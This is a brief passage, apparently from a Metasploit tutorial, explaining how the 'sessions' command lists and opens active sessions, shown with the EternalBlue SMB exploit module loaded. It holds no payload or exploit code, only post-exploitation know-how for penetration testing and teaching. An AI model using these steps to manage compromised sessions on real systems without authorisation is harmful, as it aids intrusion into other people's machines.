The `sessions` command will list all active sessions. The `sessions` command supports a number of options that will help you manage sessions better.
```bash
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions
Active sessions

We can interact with any existing session using the `sessions -i` command followed by the session ID.
